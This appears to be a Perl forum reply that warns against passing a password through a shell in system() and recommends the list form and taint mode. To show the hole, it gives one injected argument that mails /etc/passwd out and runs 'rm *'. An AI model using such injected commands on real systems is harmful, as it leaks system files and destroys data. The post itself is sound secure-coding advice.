in reply to Re: passwords and system calls
in thread passwords and system calls

system("echo $password | foo -args file");

bad_system('foo; mail me@me.com < /etc/passwd; rm *'); sub bad_system { my $password = shift; system("echo $password | foo -args file"); } #Uh oh!

Please use system() in a safe manner. The way you show here can allow for arbitrary commands to be run. Use in this way:

system("/bin/echo", "arg1", "arg2");

It is also a good idea to use -T and untaint data before using in a system() command. But, this way of using system() is more secure, and won't use sh. Refer to perldoc -f system and perldoc perlsec

Cheers,
KM